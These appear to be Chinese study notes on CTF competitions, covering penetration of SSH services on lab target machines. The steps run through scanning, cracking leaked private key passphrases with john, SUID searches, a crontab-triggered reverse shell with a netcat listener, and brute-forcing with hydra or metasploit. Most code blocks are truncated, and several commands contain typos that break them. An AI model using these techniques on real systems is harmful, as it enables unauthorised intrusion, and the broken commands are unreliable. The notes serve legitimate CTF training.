0x00 前言
由于公司要派我和其他几个同事一起代表公司去参加一场CTF比赛,所以,就在网上找了一些资料来学习,在这里简单做下学习笔记。
0x01 CTF简介
CTF是一-种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”, 也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一-串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为”Flag”
CTF比赛中涉及内容比较繁杂,我们要利用所有可以利用的方法获得flag。
CTF比赛中,比赛环境有两种方式:
1.给与在同一局域网中的攻击机和靶场机器,以web方式可以访问攻击机,通过攻击机来渗透靶场机器,获取对应的Flag值;(一般情况下给与kali Linux作为攻击机,并且举办方提供计算机)
2.给与一个网线接口,用户自备工具,直接连接网线,进行渗透靶场机器,过去对应的flag值。
0x02 CTF夺旗之SSH私钥泄露
2.1 前期准备
1 | netdiscover -r ip/network # 发现主机 |
2.2 信息探测
每一个服务对应计算机的一个端口,用来进行通信。常用端口0~1023端口,在扫描结果中查找特殊端口,针对特殊端口进行探测,尤其对开放大端口的http
服务进行排查
2.4 探测大端口的信息
对于开放http
服务的大端口,可以采取http://ip:port/的形式访问。
查看源代码获取对应信息,如果没有falg信息,使用工具探测隐藏页面。
1 | dirb http://ip:port/ #对这个服务的隐藏文件进行探测。 |
发现robots.txt敏感文件
进一步对得到的信息进行探测
2.5 针对隐藏页面分析
直接使用浏览器访问,查看效果,对应源代码,可能会获取到flag,或者下一步对应的提示;
挖掘ssh信息,不断访问获取更多泄露的ssh秘钥信息
下载id_ras,和authorized keys
查看下载的两个秘钥文件信息,尝试使用秘钥登陆未能成功
给id_rsa赋予读写权限
说明:600 == 110 000 000 == rw- — —
2.6 解密ssh秘钥信息
使用ssh2john
将id_isa
秘钥信息转换为john
可以识别的信息
1 | chmod 600 id_isa |
利用字典解密isacrack
信息
1 | zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe -rules isacrack |
分析用户名、利用ssh登陆服务器
1 | ssh -i id_isa 用户名@ssh靶场机器IP地址 |
到这里已经登陆到主机,但是并不是root权限,该如何获取root权限尼?
答:深入探测根目录-
查找具有root权限的文件
1 | find / - perm -4000 2 > /dev/null |
0x03. CTF夺旗之SSH服务渗透(拿到第一个用户权限)
3.1 ssh协议介绍
SSH 未Secure Shell的缩写,有IETF的网络小组(Network Working Group)所定制:SSH未建立在应用层基础上的安全协议
SSH是目前较为可靠,专门为远程登录会话和其他网络服务提供安全性的协议,利用SSH协议可以有效防止远程管理过程中信息泄露的问题。
SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多个平台,几乎所有UNIX平台,Windows平台以及MAC平台,都可以运行SHH,它是基于TCP 22号端口的服务。
3.2 SSH协议认证机制
基于口令的安全验证
只要你自己知道账号和口令,就可以登陆到远程主机。所有传输的数据都会被加密,但是不能保证你正在连接的服务器就是你想要的连接的服务器。可能会有别的服务器在冒充真正的服务器,也就是受到“中间人” 这种方式的攻击。基于秘钥的安全验证
需要依靠秘钥,也就是你必须为自己穿件一对秘钥,并把公钥放在需要访问的服务器上,如果你要连接到SSH服务器上,客户端软件就会向服务器发出请求,请求用你的私有秘钥进行安全验证。服务器收到请求之后,先在该服务器上你的主目录下寻找你的公用秘钥,然后把它和你发送过来的私有秘钥进行比较。如果两个秘钥一致,则验证成功,登陆服务器。id_rsa就是尼的私钥,而id_rsa.pub则是你的公钥
3.3 SSH协议验证机制弱点
基于口令的安全验证
基于字典的暴力破解,破解对应用户名和密码,通过SSH客户端连接到远程主机的SSH服务,实现对服务器的一定控制(不一定为root权限)基于秘钥的安全验证
通过对主机信息收集,获取到泄露的用户名和对应的秘钥。1
2chmod 600 id_rsa
ssh -i id_rsa 用户名@主机地址 登陆服务器。(不一定是root权限)
3.4 信息探测
对于给定IP地址的靶场机器,对其进行渗透测试,首先需要考虑靶场机器开放的服务。
探测靶场开放的服务于服务版本。
1
nmap -sV 靶场IP地址
探测靶场全部信息
1
nmap -A -v 靶场IP地址
探测靶场的操作系统类型与版本
1
nmap -O 靶场IP地址
3.5 分析探测结果
对于SSH服务的22端口的靶场,首先考虑,
- 暴力破解
- 私钥泄露(私钥有没有对应的密码、是否可以找到私钥的用户名)
对于开放http服务的80端口或者其他端口的靶场,首先考虑:
- 通过浏览器访问对应的靶场http服务,如http://靶场ip地址:http服务端口
- 使用探测工具对http的目录进行探测,如dirb http://靶场IP地址:http服务端口
特别注意特殊端口,如8080等大端口号。
3.6 挖掘敏感信息
使用浏览器对靶场ip的http服务探测,对页面种展示的内容也要注意,尤其是联系人等信息(有可能就是SSH的用户名信息),递归访问,力争把每一个dirb扫描到的目录页面都访问查看。
尤其对robotx.txt,以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到SSH私钥信息(id_rsa)
挖掘到私钥信息
对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息
nikto -host 靶场IP地址
特别注意config 等特殊敏感文件,要细读扫描的结果,挖掘可以利用的敏感信息
3.7 利用敏感、弱点信息
对挖掘到的SSH秘钥利用
修改id_rsade 权限
1
chmod 600 id_rsa
利用私钥登陆服务器
1
ssh -i id_rsa 用户名@靶场IP地址
注意:如果id_rsa没有解密密码,可以直接使用。但是如果id_rsa有机密密码,那么就需要进行对应的破解。
使用wget远程下载靶机上的文件
将权限修改为600权限
尝试进行远程终端连接
3.8 扩大战果
登陆服务器之后,我们需要做一下操作:
- 查看当前用户whoami
- id 查看当前用户的权限
- 查看根目录寻找flag文件,如果是root权限,那么表明这个靶场就被全部拿下,但是如果不时,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组。
1 | cat /etc/passwd //查看所有用户的列表 |
3.9 深入挖掘
通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务。
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对靶场机器的某个文件。
如果在/etc/crontab 下有某个用户的定时计划文件,但是具体目录下没有这个定时执行文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否有读写权限。
3.10 反弹shell
靶场代码
1 | #!/usr/bin/python ##环境变量的书写 |
攻击机netcat
命令:nc -lpv 未占用端口
说明:
l 表示监听模式
P 表示端口号
v 表示返回详细信息
查看占用端口netstat -pantu
3.11 背水一战
万不得已的时候只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具如hydra、medusa等
利用cupp创建字典
1 | git clone https://github.com/jeanphorn/common-password.git |
3.12 使用metasploit破解SSH
在终端输入
1 | msfconsole |
优化会话
1 | python -c “import pty;pty.spqwn('/bin/bash')” |
注:暴力破解ssh可以使用超级弱口令工具,支持爆破SSH,FTP,MYSQL等弱口令,Windows版本。
3.13 获取Flag
提升到root权限之后,切换目录寻找flag文件。一般情况下,flag文件是在root目录下。
cat flag文件名(一般情况 flag.txt)
3.14 总结
在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登陆靶场机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登陆靶场机。
CTF中要特别注意 /tmp数据缓冲目录 以及 /etc/crontab 设置定时之行文件
0x04 CTF夺旗之SMB信息泄露
###